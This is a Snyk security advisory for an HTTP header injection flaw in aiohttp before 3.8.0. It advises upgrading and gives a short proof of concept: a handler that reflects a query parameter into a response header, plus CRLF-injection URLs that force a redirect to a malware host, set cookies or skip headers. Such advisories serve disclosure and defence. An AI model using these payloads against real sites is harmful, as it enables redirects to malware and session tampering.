Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade aiohttp
to version 3.8.0 or higher.
Affected versions of this package are vulnerable to HTTP Header Injection since aiohttp simply concatenated headers without any validation. This allowed an attacker to inject arbitrary content into the headers, including CRLF characters.
// For this code
import aiohttp.web
async def handler(req: aiohttp.web.Request):
return aiohttp.web.Response(headers={
'X-Debug-Param': req.query.get('param', ''),
})
app = aiohttp.web.Application()
app.add_get('/', handler)
// Send the following requests to the webapp
/?param=%0d%0aLocation:%20https://malware.host/ # open redirect
/?param=%0d%0aSet-Cookie:%20... # set some cookie
/?param=%0d%0aContent-Length:%2040%0d%0a # skip next headers